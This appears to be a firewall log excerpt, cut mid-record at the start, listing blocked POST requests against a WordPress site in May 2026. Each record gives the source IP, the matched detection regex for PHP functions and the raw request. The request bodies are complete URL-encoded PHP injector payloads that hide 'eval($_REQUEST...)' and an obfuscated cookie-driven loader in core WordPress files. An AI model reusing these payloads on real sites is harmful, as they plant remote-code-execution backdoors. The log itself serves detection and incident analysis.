%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nkO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:47","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:2064\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:43:51","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2041\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ngc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/IXR\/class-IXR-client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527jodwCs%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:55","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3271\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\naX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:59","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ee:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3271\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nee=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status418.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B10%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B21%255D%2528%2524k%252C%2524p%255B9%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B2%255D.%2524p%255B19%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
